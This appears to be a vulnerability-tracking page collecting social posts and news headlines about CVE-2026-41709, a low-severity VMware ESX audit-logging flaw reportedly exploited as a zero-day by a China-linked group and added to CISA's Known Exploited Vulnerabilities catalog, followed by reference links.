    🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-97229 · 32 people 2. CVE-2026-76418 · 28 people 3. CVE-2026-111497 · 27 people 🔥 4. CVE-2026-41709 · 24 people 🔥 5. CVE-2026-109618 · 23 people 🔥 🔥 = on CISA's Known Exploited list ·…
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  • social bsky.app @securityrss.bsky.social 2026-10-29 17:06 UTC
    The U.S. CISA added CVE-2026-41709, an insufficient logging vulnerability in VMware ESX, to its KEV catalog after CrowdStrike reported its exploitation by the China-linked threat actor Warp Panda. This zero-day, with a CVSS score of 2.7, a…
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  • news securityaffairs.com 2026-10-29 16:53 UTC
    U.S. CISA adds Linux Kernel and Broadcom VMWare ESX flaws to its Known Exploited Vulnerabilities catalog - Security Affairs
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  • social twit.social @RobCampbell 2026-10-29 16:28 UTC
    CrowdStrike reported Oct 28 that a China-linked group used ESXi flaw CVE-2026-41709 to evade logging. It requires admin access. Broadcom rates it low severity (2.7), yet observed use changes the priority. Check your ESXi builds against its…
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  • news helpnetsecurity.com 2026-10-29 16:25 UTC
    Chinese hackers used VMware ESX zero-day; PHP2Shell and Fragnesia chained to root firewalls - Help Net Security
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  • social bsky.app @undercode.bsky.social 2026-10-29 16:23 UTC
    WARP PANDA Exploit VMware ESXi Zero-Day CVE-2026-41709 in State-Sponsored Espionage Targeting US Law Firms + Video Introduction: Chinese state-linked threat actors attributed as WARP PANDA have been observed exploiting a zero-day flaw in V…
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  • social bsky.app @hapsis.bsky.social 2026-10-29 15:20 UTC
    Chinese Hackers Quietly Used Low-Severity ESXi Logging Flaw as Zero-Day www.securityweek.com/chinese-hack... #Kyberturvallisuus #Kyber #Tilannekuva
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  • social bsky.app @nihonmatsu.bsky.social 2026-10-29 14:39 UTC
    【確認された中国関連の攻撃グループ】 ■ WARP PANDA 米国の法律関連組織を含む複数の組織に侵入。 VMware vCenter環境にマルウェアを展開し、ESXiのコマンドログ記録を回避する脆弱性CVE-2026-41709をゼロデイとして悪用しました。 仮想化基盤を侵害することで、複数のシステムへのアクセスや長期的な潜伏につながる可能性があります。
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  • social bsky.app @rmcholewa.bsky.social 2026-10-29 14:28 UTC
    China-Linked Hackers Exploited VMware ESX Zero-Day to Reduce Audit Trail Visibility thehackernews.com/2026/10/chin...
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  • news rescana.com 2026-10-29 14:09 UTC
    VMware ESX CVE-2026-41709: Low-Rated Logging Flaw Now in CISA KEV After Zero-Day Use - Rescana
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  • news sqmagazine.co.uk 2026-10-29 13:57 UTC
    Warp Panda Exploited Low-Severity VMware ESXi Flaw to Hide Tracks - SQ Magazine
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  • social bsky.app @hendryadrian.bsky.social 2026-10-29 13:48 UTC
    CISA added VMware ESX flaw CVE-2026-41709 to its KEV catalog after CrowdStrike reported Warp Panda exploited it as a zero-day to bypass audit logging. The flaw requires admin access; FCEB agencies are urged to patch by Nov. 11, 2026.
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  • social infosec.exchange @117202824925377048 2026-10-29 13:40 UTC
    Hat tip to The Hacker News for finding the exploitation evidence for CVE-2026-41709, which was added to CISA's KEV Catalog: WARP PANDA: Multiple intrusions at U.S.-based entities included targets in the legal sector. WARP PANDA deployed se…
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References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-41709
support.broadcom.com
GitHub CVE
https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-41709